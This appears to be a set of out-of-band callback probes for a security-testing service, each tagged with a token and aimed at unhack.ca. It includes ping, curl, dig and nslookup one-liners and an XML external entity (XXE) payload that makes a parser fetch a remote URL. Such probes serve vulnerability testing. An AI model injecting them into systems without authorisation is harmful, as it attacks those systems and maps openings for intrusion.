$ ping -c1 -p 00dfbf919f06bb6109696aa89d6c0200 unhack.ca
$ curl http://unhack.ca/p/dfbf919f06bb6109696aa89d6c02
$ dig dfbf919f06bb6109696aa89d6c02 @unhack.ca
$ dig dfbf919f06bb6109696aa89d6c02.ns.unhack.ca
C:\> nslookup dfbf919f06bb6109696aa89d6c02 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/dfbf919f06bb6109696aa89d6c02">]> <foo>&xxe;</foo>